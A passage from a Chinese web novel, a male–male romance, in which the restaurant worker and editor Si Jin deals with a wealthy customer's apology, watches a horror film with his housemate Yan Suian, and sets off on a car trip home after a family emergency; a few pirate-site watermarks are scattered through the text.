司谨眨眨眼,说:“是你以前教我的,面对不想做的事情要大胆说出拒绝的话。” 没想到自己曾经说过的话变成回旋镖砸在自己身上,燕绥安满头黑线,可反应过来又扯开唇角笑了。 “好吧,那宝宝晚安。” 能乖乖把他的话记在心里,倒也不错。 只是司谨看着他听话离开了房间,还觉得有些不太真实,他以为燕绥安会跟白天一样死缠烂打,没想到这么轻易就被他说动了。 晚上回到床上休息,早早被燕绥安打开的空调呼呼往外吹着温柔的热风,可他却总觉得身上不够温暖。 隐隐约约之间,又回忆起那种被人牢牢环抱着的感觉,有些喘不上来气,可是却莫名感到安心- 第二天司谨起床时燕绥安房间里还是一片安静,他犹豫片刻还是担心燕绥安又胡思乱想,便给他留了一条自己出门兼职的消息。 抵达餐厅,几人见着他都觉得很新鲜。iu盐 “第一次见小司不是周末和节假日来帮忙啊。” 边上的刘有意安分了一段时间,现在又忍不住开始参与话题:“我听说现在网文市场萧条,小司该不会被裁了吧?” “你会不会说话?”小李白他一眼。 司谨看了刘有意一眼,只说:“是请了假,但临时又没事情做了,程姐说这几天忙,我就顺便来帮帮忙。” “原来是这样。” 说错话的刘有意摸摸鼻子,不好意思地走了。 没多久,去外头吃过饭回来接班的彭露也进了休息室,见着司谨便凑了过来:“昨天有个客人一直找你呢。” “谁?”司谨有了不好的预感。 “就是那位顾先生,他说你什么时候来上班记得通知他一声,好像是说有事要和你讲。”彭露说着满脸困惑,“你说他找你能有什么事呢?” 司谨很清楚这一点,但没有多说,只点了点头:“我知道了。” 彭露问:“那你说,我要不要告诉他?” “都可以,我没关系的。” 其实司谨也不知道顾延河找自己要说什么,难不成是要因为那天晚上误会他的事情道歉?这个可能性总觉得很小,他只能往坏的方向去猜,那就是顾延河还没有死心,依旧觉得他当初是在故意勾引。 想到这里司谨就觉得胃中翻涌起一股难受,他曾经还觉得顾延河看起来是个很绅士的客人,没想到还真让随便给说中了。 脑海中再度浮现出随便的名字,如今出现的却是燕绥安的脸。 司谨垂下眼眸,忍不住叹口气。 让司谨惊讶的是,在彭露将他来上班的事情告知顾延河以后,不过二十分钟门口便出现了那人的身影。 顾延河同从前一样穿着精致的西装,即便只是随便来餐厅吃顿饭,身上的配饰也搭配完好,一进入店内就引得周围人侧目。 “先生,请问几位?” 顾延河只扫了眼面前的服务生,继而蹙起眉头:“我半小时前预定了包间,让你们店的小司为我服务。” “好的。” 司谨正结束一桌的服务,就被耳麦中提示给喊上了楼。 他进入包间时顾延河已经脱了外套,听见声音直直朝着他的方向看过来,眸中闪烁着难以分辨的晦暗情绪。 司谨连看也没有看他,按照正常的流程为他服务,等菜上完以后准备离开,顾延河见到他的动作总算是忍不住出声。 “小司。” 司谨了然站定,转头看向他。 “那天晚上的事情,我欠你一个正式的道歉。”顾延河站起身,面露歉意,“那天我去聚会也喝多了,因为你之前的态度产生了一些误解,希望你不要介意。” 他说着将进门时提着的礼物袋子放在桌上,推向司谨的方向。 “这是我为你挑选的礼物,不是很贵重,但这是我的心意,希望你能不计前嫌收下它。” “……” 司谨好半天没有说话,说心底不惊讶都是假的。 其实那天晚上的事情他都有些记不太清楚了,但是那种难受厌恶的感觉始终残存,以至于他现在见到顾延河,还是没办法露出好脸色。 只是他没想到顾延河的道歉会这样正式,看起来丝毫没有敷衍的意思。 稍一愣怔,他还是摇摇头:“没关系,礼物我就不收了。” 顾延河思忖片刻,还是说:“你收下吧,否则我心里真的过意不去。” 倘若他不再强求,司谨恐怕会觉得他是在真心道歉,可此时看着他复杂的表情,忽然意识到了什么。 “顾先生,你是不是还有别的事情要说?” 顾延河垂眸笑了笑:“虽然有些不好意思,但还是有件事想麻烦你。” 隐约猜到是什么,司谨在听见顾延河说出前因后果以后并没有太大的反应。 “燕小公子性情较真,也不知道和家里打过什么招呼,一天的功夫原本准备开拍的电影撤了资,让我们这边也很难做。”顾延河笑了笑,“我和燕公子也没什么矛盾,能想到的也就只有前两天我冒犯你的那件事了。” 司谨愣怔片刻,一时间居然没反应过来他在说什么。 “如果可以的话,希望能获得你的原谅,我也好再去向他道歉。”顾延河顿了顿,又补充,“当然,假设没有这层原因,那晚的事情也是我不对,向你赔礼道歉是应该的。” 司谨好一会儿才明白过来他的意思,想了想只是摇头:“不好意思,他的事情我不太了解,但我觉得他应该不会……” “小司。”顾延河打断了他的话,温柔语气中含着无奈,“我不会弄错的,他看起来对你很上心。” 心中咯噔一下,司谨也不知道该说什么,最后也没有答应下来,只是迷糊着添加了顾延河的联系方式。 一顿饭吃完,他跟在顾延河身后下楼,心事重重想着顾延河说的事情,一转角却看见顾延河顿住了脚步。 “燕公子。”顾延河也怔了怔。 燕绥安看见他们俩站在一起,脸色瞬间就沉了下来:“你又找他做什么?” 那天晚上司谨喝醉了,他却是清醒无比,想起在顾延河在巷子里把司谨搂在怀里的画面,就止不住攥紧拳头。 司谨看着眼前的一幕,莫名嗅出了硝烟味,下意识看向燕绥安。 “顾先生刚刚来用餐。” 燕绥安眉头皱紧,脸色不太好看:“全海城只有这一家餐厅吗?你还有脸来。” 顾延河面上闪过些许不自然,好在周围并没有服务生和客人经过,他便道:“燕公子,我这次来是专程向小司道歉的,他……” “你叫他什么?”燕绥安微微眯起眼,狭长瞳孔中泛过凉意。 司谨看了看他们,一时间不知道该怎么办,只好看向燕绥安,说:“顾先生刚才和我道歉了,他有话要和你说。” “我可不想和你说什么。”燕绥安说完,看也没看顾延河一眼,搭住了司谨的肩膀,“选了你喜欢吃的菜,别在这耽误功夫,上楼吃饭去。” 司谨想说不饿,可抬头看见燕绥安不太高兴的表情,便还是没有拒绝。 顾延河看见这一幕,也只得冲他们颔首:“既然如此,我就不打扰了。” 燕绥安没搭理他,揽着司谨往楼上走,等进了包间反手将门关上,就把司谨堵在了包厢里面。 “你和他说什么了?” 他这会儿拧着眉头,语气却不像跟顾延河说话那样凶,反而带着点儿委屈的意味。 司谨犹豫片刻,还是将顾延河方才跟自己说的话告诉了燕绥安。 听完,燕绥安的脸色变得不太好看,半天都没说话。 看见他这反应,司谨就知道顾延河不是在骗自己了,但他也不知道这件事情能不能干涉,所以犹豫着也没敢再开口。 包间内陷入了长久的死寂,燕绥安牢牢盯着他,最后像是泄了气,闷闷道:“你真的一点都不在乎这些。” 司谨不知道他又怎么了,但见不得他这副难过的样子,只得说:“我没有,这件事情要谢谢你。” 虽然他先前对顾延河这个人的印象还不错,但是发生了那件事情以后也没了最初的好感,所以燕绥安做的这件事情他是很感激的,否则他也不知道顾延河回过味来以后会是个什么反应,大概率不会像他刚才道歉那样真诚。 燕绥安看了看他,声音变小:“你是不是觉得我有点过分?” 司谨拿不准他心里在想什么,想了想还是摇摇头:“没有的。” “你真的觉得他道个歉就够了吗?那天他对你抱着那种心思,太恶心了。”燕绥安垂着眼眸,俯身朝着他贴近。 司谨还是不太习惯这种距离,只好皱着眉头将手贴在他肩上,微微用力抵住。 “你别靠那么近,我听得见你说话。” 燕绥安眸中闪过笑意:“那你回答。” “这样就可以了。”司谨抿抿嘴唇,有点为难,“反正他也是出差来,以后估计也见不到面。” “是么?”燕绥安若有所思,“他最好是再也别再来海城了。” 感觉他话里有话,可没等司谨再问,外头就传来了敲门声,是其他服务生来上菜了。 明明什么也没做,司谨却下意识推了燕绥安一把,俯身从他身边钻了出去,看见有人进来还止不住感到心慌。 来人是刘有意,他进来将菜上了,忍不住看了司谨一眼。 “出去吧,这里不用你服务。”燕绥安往位置上一坐,也没管刘有意走没走,便转头将一杯浅橙色的饮品推向司谨,“橙子气泡水,特意给你点的。” 修长的手落在身侧的位置上轻轻拍了一下,司谨明白他的意思,踌躇片刻还是过去坐下了。 抬起头,刘有意正好开门出去,转头时眼底是隐藏不住的好奇。 燕绥安察觉到司谨的目光,忽然来了劲:“这就是之前那个不会好好说话的老油条?” “嗯。” 司谨点过头,又猛地想起来之前发生的事情,后知后觉道:“所以之前的裴落也是你叫来的。” 上次遇见,燕绥安还说跟裴落不熟,但现在燕绥安和随便的身份契合上,他便全都想通了,难怪那天裴落要一直针对刘有意,还特意给他点了饭菜,对待除了刘有意以外的人都是和颜悦色的,唯独…… 燕绥安轻咳一声,面露心虚。 “那时候听见真的生气,正好裴落闲着没事干,让他过来玩一趟而已。” 司谨微微拧着眉头,却也生不起气来。 “你到底还有多少事情瞒着我?” 燕绥安正要说没别的了,可忽然间想到什么,狭长的眸微垂下,却是犹豫起来。 注意到他的表情变化,司谨就知道肯定没那么简单。 也不知沉默了多久,燕绥安正要开口,司谨却转开了头:“你不想说就算了。” “没有不想说。”燕绥安轻笑一声,觉得他这副样子有些可爱,可是想起司谨现在本来就没完全接受自己,要是听见更多,说不定会越来越为难。 包间内安静了许久,燕绥安才以开玩笑的语气说:“如果我说,我们很早之前就认识,你信吗?” 司谨端着气泡水小口喝,唇瓣被浸染了冰凉温度,闻言面露疑惑。 “什么时候?” “反正你已经不记得了。”燕绥安试探开口,“我从前去过余城,你读高中的时候下晚自习,我邀请你去吃夜宵,你拒绝了。” 司谨越听越迷糊:“你不是在开玩笑吧。” 他搜寻了整个记忆,也没有想起有这种事。 “你那时候挺可爱的,穿着校服又瘦又小,发型跟个小蘑菇一样。” 听着燕绥安的描述,司谨的脸逐渐涨红了。 那个时候他的确就是这样一个形象,因为司志义觉得青春期长个太快,所以用不着买新衣服,用脑过度头发长的也快,剪起来很费钱,通常都只有难得等大姐得了空从镇上回来,才会给他简单修剪一下。 那段时光对他来说算不上值得回忆,此时被燕绥安说出来,也让他感觉很难为情。 “你……怎么记得那么清楚。”蹙着眉略显局促,他反应过来,“所以你在访心看见我照片的时候也认出来了?” 燕绥安早就想找机会解释这件事,见他主动问了,顿时松口气。 “当然,我只喜欢你啊。” 司谨脑子很乱,不知道他到底说的是真是假。 “你……为什么喜欢我?我一直以为我们是在访心认识的。” 在知道燕绥安就是随便以后,这个问题便始终盘旋在他心上,他百思不得其解,燕绥安为什么会对他情有独钟,而且还总是表现出那样浓厚的情感,现在终于得到了询问的机会,他下意识抬起眼看向近在咫尺的俊美面容,心中满是疑虑。 燕绥安脸颊微红:“因为你很有趣。” 这个回答让司谨更加觉得他是在开玩笑了。 从小到大无论是同学还是同事都说他性格呆板无趣,许多时兴热门的事物他都不了解,所以别人聊天的时候他绝大多数时间也是坐在边上发呆,一句话也插不上。 可是现在燕绥安却说他有趣。 忍不住有些想笑,他摇摇头,看见燕绥安蹙起眉头,似乎察觉到他的不信任还想说什么,可下一秒包间内响起嗡嗡震动的来电提醒,打破了这份安静。 司谨怔了一秒,才反应过来抬手去摸手机。 他们工作的时候手机都需要开静音,为了避免在服务的时候打扰到客人。 “是我二姐。”他看了眼燕绥安,见对方点了头,便起身离开了包间。 去外头接起电话,对面立马传来了焦急的声音。 “司谨,你在忙吗?” “不在。”司谨找了个没人的小包间,“怎么了?” 司淑美那边的背景声有点吵,听起来好像是在大巴上,说:“我要过几天才能到海城了,刚才家里打电话说大姐搬货的时候扭到腰了,也不知道严不严重,我得回去看一眼。” 闻言,司谨的心也提了起来:“谁说的?” “司乐乐打电话来讲的,半天也没说清楚到底是怎么回事,就这么把电话挂掉了,我刚上大巴,到时候跟你说情况,你也别着急,应该没什么大事。” 司乐乐就是家里最小的弟弟,还在读初中,被李美花宠到乖戾娇惯,不把家里任何人当回事,年前跟同学打架伤了胳膊,硬是缠着要去外婆家待着,实际只是想去那边随心所欲打游戏。 司谨是很不喜欢这个弟弟的,这会儿听后不禁有些警惕。 “会不会是开玩笑啊?” 按照司乐乐的性格来说,还真有可能是瞎说。 司淑美也顿了顿,半晌叹口气:“应该不是,谁会拿这种事情乱说,我猜应该是爸还在介意之前吵架的事情,所以故意不想跟我说话,叫司乐乐来传。” 司谨还是觉得不放心。 “好了,没事的话是最好的,正好我马上要来海城,走之前回去看一看大姐,等下次回去指不定是什么时候了。” 她倒是想得开,司谨也没再阻拦:“那有什么情况随时和我说。” “知道。” 挂断电话,司谨却还是觉得哪不太对。 但一时半伙也想不到,他转身正准备出去,叮的一声响起微信提示音,以为是二姐发了什么,他下意识点开。 封阿姨:【小谨下午好,阿姨这边有人送了些燕窝给你们邮寄过去了,记得提醒绥安查收,这个孩子又不回我消息】 司谨怔了怔,回复她好的。 但和往常一样,封阿姨依然没有就这样结束话题。 封阿姨:【昨天看绥安朋友圈说出去玩了,你有没有跟着一起啊?】 司谨愣一下,忽然有些紧张,点开了燕绥安的朋友圈,好在对方只拍了一张从船上往岸边拍的湖面景色照片,还有一张是阳光下的自拍,戴着墨镜和遮阳帽,只露出了下半张脸,配字搭了一个小太阳。 封阿姨:【就是看他脸色不太好,真的是要多补一补,搞得我好担心,你们年轻人太拼了,作息又不规律,那照片上看嘴唇都有点发白,好憔悴,回头我再给你们多寄点补身体的】 司谨想了想还是替燕绥安解释一句:【他那天有点发烧,所以才这样,阿姨你不用太担心,他今天好多了】 消息一发过去,手机就炸开了锅。 封阿姨:【发烧了?我就说换季要注意添衣服不要贪舒服,他怎么都不听】 封阿姨:【我在这边也没办法照顾到他,保姆管家他也不喜欢,我真是着急】 “……” 司谨吐出一口气,心道自己还是多嘴了,不应该说这些的。 简单回复完消息,将封阿姨安抚下来,他松口气推门出去回包间,可是等推开门看见燕绥安抬头朝着自己看过来,他却忽然又想到很关键的一点。 封阿姨对燕绥安这么上心,就连知晓他感冒发烧了都要着急好一会儿,先前就时不时催促燕绥安找个合心合意的女朋友好好结婚生活,如果往后知晓自己最宝贝的孩子喜欢男生,她会不会觉得难以接受。 在司谨的印象里面,同性恋是许多人闻之色变的存在,无论怎么想好像能够欣然接受的长辈都是极少数,更何况是念叨过许多次要看儿子结婚的封阿姨。 这样想着,他的心情又变得复杂起来。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 35-40 第36章 “怎么样?”见司谨进门,燕绥安忙问。 司谨摇摇头:“没什么事,二姐说要回老家一趟。” 见他不打算多说,燕绥安也没直接问,在边上给他体贴夹菜,吃着一边闲聊,在司谨不知不觉间就把情况了解了个遍。 “从市里坐大巴回老家要多久?” 司谨咽下嘴里的培根,算了算时间:“一个小时吧,还得走一段路。” “等下了班回去再打个电话问问,说不定她忙着就忘了报平安。”燕绥安安慰他。 司谨点点头,这会儿又想到了刚才封阿姨和自己说的事情,便一股脑复述给了身边的人。 “封阿姨知道你生病肯定会担心,你有空的话还是给她打个电话。” 燕绥安不以为然,点头说了好,但司谨看他这样子就没放在心上- 当天晚上,司谨同二姐联系上,知道大姐的确是摔了一跤,腰扭伤了,需要在家休养一段时间。 “我待两天吧,回头带着大姐去市里医院看看,腰伤了可不是小事情。” 司谨已经收拾完上床休息了,闻言觉得有道理:“大姐现在情况怎么样?” “就那样吧,她心情多少有点受影响,主要是妈今天在的时候又在这说东说西教训人,听着就烦。”司淑美不耐烦地吐槽了一通。 司谨无奈叹口气,只好叫她有什么情况随时和自己说。 之后的几天投身进工作里,他没心思顾及其他,只是午休时闲着没有事情做,会忍不住点开码字的软件,去看那篇快要完结的作品,自从那天心情不好又找出来补充了情节,他心中便时时刻刻念着,总是希望将这篇小说传到某个网站去。 但是想了想还是没有勇气,写完这章便将文档关上了。 “橙子,你周末有安排吗?” 身后忽然传来声音,让司谨吓了一跳。 他回头,发现是平时关系不错的编辑,思忖片刻还是先问了一句:“有什么事吗?” “我周末结婚啊,你有空的话来参加呗。”同事冲他递了个眼神,“不过有事不来也没关系,我知道你是大忙人。” 司谨犹豫片刻点了点头:“好,我到时候看看吧,有空的话一定到场。” “行。” 同事说完便走了,开始找其他同事说这件事情。 司谨打开朋友圈,果然看见了同事发的电子请柬,他想了想还是转头看向身边的同事,询问他们准备包多少礼金。 得到了一个数字,他将其记在了备忘录里,方便回头发红包给同事,他不是很习惯那种场合,所以很少参加别人的婚礼和宴席。 周五下班后大家都放松出门,司谨这些天一回家就能见到燕绥安,相处间总是觉得有种诡异压力,正好今天宋晓西邀请他一起吃饭,他索性便答应下来。 只是上了地铁他才想起来担心燕绥安会不高兴,于是又赶忙发消息报备,谁知对面就跟一直蹲着他消息似的,秒回了一个幽怨的黑线表情。 燕绥安:【宝宝丢下我一个人】 下班高峰期地铁人太多,司谨看见消息愣了一下,立马把亮度调到了最暗,有些心虚地看向了身边的人。 确定没人盯着自己,他才费劲低头回复。 【很久没有和晓西见面了,应该会早点回来,你不用等我】 其实他也不懂,燕绥安明明原先工作都是很忙的,为什么这几天都待在家里不出门,是重要的事情都解决了吗?还是说……单纯为了盯着他。 回想起燕绥安发烧的那天,一察觉到他有要出门的动向就一副如临大敌的模样,他只觉得头疼。 燕绥安:【我会等的,宝宝去吃什么?回来的时候可以给我带一份吗?】 司谨想了想,答应了。 燕绥安:【那我等宝宝】 燕绥安:【要注意安全,要不结束以后我去接宝宝吧】 司谨连忙拒绝,等消息发出去以后发现和燕绥安在线上聊天的时候少了几分紧张的感觉,除了界面和原先不一样了,那种放松随意的氛围却始终围绕着他。 可是燕绥安已经不能只是他网络上认识的人了。 真切意识到这一点,司谨的心情变得说不清道不明。 不过多时见到宋晓西,司谨险些没有认出来。 “惊不惊喜?”宋晓西顶着一头白金色的短发冲过来,顺带着晃晃脑袋,“开春特意漂的。” 司谨不禁震惊,抬手摸了摸他的头发,“好好看啊。” “那天漂了八个小时呢,我屁股都坐麻了。”宋晓西止不住长叹气,接着又一把捞住他,“走走走,酒吧街附近开了一家特别好吃的烧烤,我请你。” 到了地方,司谨啃着鸡翅,又忍不住问:“那边的房子真的都租出去了吗?” 他前些天和宋晓西说这件事的时候还觉得心虚,但宋晓西却不以为然,叫他别放在心上。 这会儿听见他担忧,也笑道:“那里的位置是真不错,我和新来的同事一说,他们去看过以后都很喜欢,尤其是女孩都喜欢有自己的私人空间,所以当天就定下了,没耽误多少功夫。” 闻言,司谨总算放心下来。 “这件事真麻烦你了。” 宋晓西费劲地用牙咬着签子上干巴巴的鸡爪,无所谓一挥手:“你可行了,这有什么好麻烦的,说实话让二姐过去那边住是件好事,回头我去找你玩还能顺便去淑美姐那蹭饭吃。” 司谨原先和他说过自己姐姐的厨艺很好,尤其是炒油大的菜很拿手,宋晓西的口味比较重,所以一直都很馋。 “行,等二姐到了,我们一起下厨请你来吃饭。” “那敢情好。” 没回见面宋晓西都有一大堆槽要吐,这天也不例外,司谨在对面听着那些匪夷所思的奇葩客人,小脸止不住皱起。 不过多时吃饱喝足了,宋晓西才开始询问起了他的情况。 “你最近忙什么呢?” 司谨想了想:“没有别的事情做,就是上班,闲着的时候会写一下小说。” “啊!”宋晓西眼睛亮了起来,“就是你原先写的那本,还没写完呢?” 司谨先前起念头的时候是和他说过的,所以宋晓西对此记忆深刻。 司谨表面上看着内向安静,但选取的题材类型却和他是截然不同的风格。 “所以那剧情到了强制爱没有?” 看着宋晓西激动的模样,司谨不自然地挪开视线,有点不好意思:“已经在写追妻部分了。” 话音落下,对面的人又发出一声尖叫。 “你快点找个网站发出去啊,我太想看了!” 司谨一下子沉默。 宋晓西当然知道他在顾忌什么:“公司规定只是象征性的,你们同事私底下说不定也有一层作者身份呢,反正只要不去风浪发就可以吧。” 司谨当然知道他说的有道理,但片刻还是没有下定决心。 “到时候再说吧,说不定我连签约都过不了呢。” 宋晓西满脸不相信:“你可是专业的网文编辑,对于市场的嗅觉要比大部分作者要灵敏吧,别那么没自信。” 司谨心底一暖,点了头。 “我会好好考虑的。” 聊了一晚上,算着一会儿就该回家了,司谨便又找了加了一些烧烤准备打包带走。 “没吃饱吗?打包回去口感会差很多诶。”宋晓西面露疑惑。 司谨:“是我室友让我帮忙带的,我快一点回去应该没有太大影响。” “原来如此,你和室友现在关系好像不错?原先不是说合不来吗?” 这个问题司谨都不知道该怎么回答,只好点了点头:“比以前和谐了一点吧,主要是……” 他很想把这件事情告诉宋晓西,可是张张嘴又不知道该怎么说,最后也只能摇摇头将话咽下去。 “是原本有点误会,前段时间说开了才发现他原来没有讨厌我。” “这样啊,相处得来那就好。” 不过多时带着打包的烧烤离开,司谨回到星云城时已经过了十点半,他知道燕绥安肯定还在等着,下车时略显焦急,可刚到门口远远就看见一道身影正从里面出来。 看着身着休闲服的燕绥安,等人走近了司谨才迟疑开口:“你这个点要出门吗?” 燕绥安冲他笑了笑:“闲着没事干出来走走,顺便接你。” “你时间卡得真准。”司谨不由感叹,接着反应过来,将手上的烧烤递了过去,“我没有买太多,你之前说喜欢吃鸡翅和鱿鱼,还带了一点别的。” “记这么清楚?” 燕绥安微微挑眉,有点儿受宠若惊那味。 司谨还是不习惯他这副反应,想了想还是没有接话,进门的时候燕绥安侧身给他挡了下反弹的门,司谨下意识侧身,余光瞥见身后不远处出现的一道身影,看不清楚是谁,但有些眼熟,似乎一直盯着他们的方向。 那人似乎穿着深色的马甲制服,他还未看清楚,关上的自动门便将那人给遮挡住了。 心中有些疑惑,但等再往外看的时候,那人已经消失不见。 “看什么?”燕绥安察觉到他的动作,也跟着朝那方向张望。 “没事。”司谨摇摇头,“那人穿的衣服好像是一粟的外送制服,我还以为他要进这里,结果走了,我们回去吧。” 燕绥安也没多想。 回家以后燕绥安在餐厅吃夜宵,司谨便收拾了衣服准备去浴室洗澡,如果是平时他多半只会带一套睡衣,可这会儿想到燕绥安在外面,犹豫片刻还是又拿上了一件毛线衫。 洗过澡披上外套出去,餐厅已经被收拾干净,燕绥安站在客厅茶几前,戴上了一副银边眼镜正抓着遥控器找电影看。 “你还不休息吗?”司谨走过去看了一眼时间,有点诧异。 燕绥安转头看向他,眼镜投射出微微反光,再看清楚时狭长的眸少了几分攻击性,可却莫名让司谨心跳快了两拍。 虽然他努力让自己习惯,但每一次对上燕绥安的脸时,还是会觉得很有冲击力。 “最近有点失眠,时间还早,看部电影。” 司谨怔了怔,瞥见时间已经快要零点了,下意识想说,脑海中却回荡起先前在主卧时燕绥安抱着他说的那些话。 “不是说现在很少失眠了吗?” 燕绥安挑选电影系列的手顿了顿,忽然转头看向他,很轻地笑了一下:“你还记得呢,不是睡着了吗?” 被他戳穿了装睡的事实,司谨有些脸热,但还是说:“为什么睡不着?” “就是总做梦。”燕绥安轻描淡写将这个话题带过,又提醒他,“你早点休息吧,眼睛都要睁不开了。” 司谨的确在洗澡的时候就犯困了,这会儿想了想还是进了房间。 等他抱着毯子出来的时候,燕绥安已经找到了一部片子,这会儿随意靠在沙发上,脸上没什么表情,他专注到等司谨坐在了身边才反应过来,眸中透出明显的困惑。 “嗯?” 沙发很宽敞,司谨坐上去盘起腿,把毯子盖在了身上,又分了一半给他。 “我看一会吧,好久都没看过电影了。” 燕绥安愣了两秒,才将毯子盖在腿上,只是视线还落在司谨的侧脸上,看着电视的荧光洒在那张莹白流畅的面容上,好像挪不开眼。 他盯久了,司谨没办法静心,半天还是微微咬着牙小声说:“你不是看电影吗?” 一直盯着他做什么? 燕绥安这才回过神,发觉面前人的耳朵都覆上了红色。 忙看向电视方向,他放松身体,不知不觉同身边人靠住了肩膀,这才没动了。 片头结束,起初的剧情还算正常,可正当司谨猜测这是部什么片子时,在主角深夜出门时,画面就变得诡异阴森起来,紧张的音乐似乎也蔓延到了昏暗的客厅。 “这是恐怖片吗?” 他问完,感觉到燕绥安朝他看过来,然后压低声音说:“惊悚悬疑片,害怕吗?我换一部。” 他说着要起身,司谨却摁住了他的手。 “不用,我不怕这个。” 画面上的主角还在漆黑可怖的林子里走动,演员脸上满是恐惧。 燕绥安听后便靠回了沙发上,跟他聊起来:“胆子这么大。” “你没有去过农村吧。”司谨笑了一下,“我们老家比电影里还偏僻,一到晚上全都是蛙虫叫声,伴着风声也很可怕。” 燕绥安许久没有说话,好半天才很轻地说:“是吗?” “对,而且没有路灯。”司谨回忆起自己小时候的画面,“我以前半夜发烧了,我爷爷还要打着手电筒抱我去村口的小诊所里打针,周围特别黑。” 燕绥安好奇:“你们老家的诊所是什么样?” “很小的,反正只要生病了去看就是给打针,我小时候很怕疼,所以打针都要他们按着。”司谨说着有些脸红。 电影里的气氛紧张,燕绥安也随之压低了说话的声音:“有点不好想象,会哭吗?” 这个问题有点奇怪,但燕绥安就是忍不住问出口,他觉得司谨哭起来也会很漂亮。 “会的。”司谨诚实回答,“小孩子打针都会哭啊,你不会吗?” 燕绥安勾起唇角:“那倒是,我以前也哭。” 他说完,看见司谨认真盯着屏幕,像是在为主角担忧,小脸都紧跟着绷紧,又忍不住好奇。 “那现在长大也怕疼吗?有些人天生痛觉敏感。” 司谨犹豫着回答:“我还好吧。” 说完,客厅忽然响起非人类的尖锐叫声,伴随着主角团受到惊吓的尖叫,背景音乐猛地炸开。 司谨顿感悚然,因为走神的缘故被吓了一跳,身体下意识往后缩。 视线再落在屏幕,上面已经出现了血肉模糊的狰狞怪物,正冲着这边张开血盆大口,发出刺耳的啸叫。 好在很快缓和过来,他才发现燕绥安的手不知何时落在了自己肩上,这会儿正轻轻拍着,像是在安抚他,见他看向自己,又笑道:“乡下至少没有这种怪兽吧。” 司谨有点无奈,小声解释:“我是走神了,其实没有很恐怖。” 他还没说完,燕绥安便点点头,满脸都是“我知道我都懂”,惹得司谨觉得有点丢人。 好在有了前面的提醒,他后面就没再被吓到了。 只是电影还没过半,睡意就后知后觉窜了上来,让他觉得脑袋有点重,耳边还响着电影里的主角团急促的台词,他却不知不觉间就失去了意识。 半梦半醒间身体一轻,被放进气味熟悉的温暖被窝中,司谨下意识扭头要把脸买进枕头里,却被粗糙的掌心轻轻摩挲了脸颊。 “睡这么熟。” 有人在他头顶小声呢喃。 好半天,若有若无的呼吸逐渐靠近,弄得他脸上有些痒,可是那温热的气息只是在唇瓣停留片刻,最终还是转移到了额头。 很软的触感,在额头上轻轻贴了许久才离开。 “偷偷摸摸的感觉真是不爽,什么时候醒了再亲吧。” 这人真奇怪。 没了阻力,他成功翻身抱住被子,将半张脸埋进枕头里蹭了蹭,这种熟悉的姿势让他感到安心。 只是房间里虽然再没了声音,他却始终能够感觉有一束目光落在自己的脸上,灼热无比。 不知过去多久,低沉的嗓声又试探着唤了声:“老婆。” 说完那人笑了笑,又用新奇期待的语气重复了一遍,才开心起来。 “宝宝,明早见。” 传来房间门被轻轻关上的声音,才终于完全沉睡过去- 前一天睡太晚的后果就是到了中午还没能起床,上午睡得正熟,床头的手机开始嗡嗡震动。 司谨迷迷糊糊睁开眼,伸手去摸到手机习惯性上滑,电话接通,对面传出大姐焦急的声音。 “谨,你二姐跟你打电话没有?她一大早就出门了,行李什么的也不在,是不是……” 脑海中的睡意一扫而空,司谨坐起身,忙问:“二姐没和你说吗?” “没有。”司淑英似乎很不安,“而且爸妈也不在,我总觉得不对劲,昨天下午司鹏也回来了,说是来看我的,门都没进,他们一直拉着淑美在楼下说什么我都没听清楚,但是淑美看着是不大高兴。” 心中忽然产生了不好的预感,司谨掀开被子下床。 “我打个电话问下。” 安慰大姐别太担心,他连忙拨了二姐的电话,果然没有人接,而司志义和司鹏的电话都是被秒挂断,等待良久只有李美花的号码接通了。 “什么事哦,晚点再讲吧,我在这里忙嘞。”李美花是故意远离人群压低声音说话的,可背景里还是有些许说话的声音传了过来。 司谨听清楚几个关键词,脸色立马就难看起来。 “妈,二姐跟你在一起吗?” 李美花迟疑一下才说:“在嘞,出来见朋友了,你打电话做什么?” “你让二姐跟我讲话。”司谨听着她的语气,越来越觉得事情不对,“我给二姐打电话她怎么没接。” “她在跟人聊天,我们都在忙,你不要在这里烦,晚点再打。” 李美花说着便要挂电话,而在电话挂断的前一秒,司谨仿佛听见了背景传来二姐的愤怒的质问声。 嘟的一声,他的身体有些僵硬,下意识就起身去穿衣服,等脑袋空白做完这些出门去洗漱,又想到了什么重要的事情,连忙回房间又找到了手机,着急点开购票软件。 正在找车次,对面的主卧房门却忽然打开,司谨下意识抬起头,眸中闪过一瞬的惊恐。 燕.愈延绥安是听见他开门动静才出来的,下意识要打招呼,可看见他表情不对劲,也立马将唇角的笑意压了下去。 “发生什么了?” 司谨的手有些抖,刚醒来就收到这些消息,让他的脑子不免混乱,闭上眼深吸口气才冷静下来,将事情简单和燕绥安复述了一遍。 “我还是要回去看一下。” 今天的车只有下午很晚,他正准备买,却被燕绥安伸过来的手制止了动作。 “别买票了,时间太晚,我开车更快。” 司谨怔了几秒才明白他的意思:“太麻烦你了。” “反正也闲着没事干,去你老家看看,好不好?”燕绥安的语气虽然带着询问,可却没有给他选择的机会,替他将手机屏幕灭了,“先去简单洗漱一下,我给你找件厚点的外套,顺便预定一份早餐,我们出去的时候拿了路上吃,不用着急。” 说完,还顺手捏了捏攥着手机的微凉指节,他的话像是给司谨吃了颗定心丸,让司谨紧绷感减缓了不少。 “谢谢你。” 燕绥安习惯性要让他别说这个,但看见他苍白的小脸还是无奈叹口气,不再给他压力。 第37章 车内暖气温度正好,司谨坐在副驾驶,手上拆了的汉堡却始终没入口,盯着窗外止不住走神。 “别胡思乱想了。”燕绥安察觉到他的情绪,低声安慰,“时间还早,高速不堵车下午就能到,几个小时的功夫没多大事。” 司谨也清楚这一点,但还是忍不住担心。 “垫垫肚子先,等到了地方解决完二姐的事情,咱们再找个地方好好吃一顿。” 他闻言回过神,乖乖将汉堡吃完,端起边上的豆浆喝了几口,什么味道也没有尝出来。 “你们老家有什么好吃的东西吗?”燕绥安又问。 司谨愣神,认真想了想:“好像没有,特产都是很简单的食材,不能直接吃的。” “你上次给我带的酒糟鸭味道不错,是自己做的?” “是我大姐做的,她也会在店里面卖这些,你喜欢吗?” “我觉得味道不错,回头去大姐店里买几罐,带回去给我大哥尝尝,他的口味跟我差不多。” 司谨忙道:“不用买,我找大姐要就可以了。” “那好吧,你可要记着。” “嗯。” 司谨将这件事情记在心上,有点害怕自己会忘记。 又聊了一会儿别的话题,燕绥安见他还是心情不好,盯着窗外时脸上没什么表情,眼睛也耷拉着,只得道:“休息会吧,到休息区我喊你。” “还是不要了,我陪你说说话吧。”司谨有些过意不去。 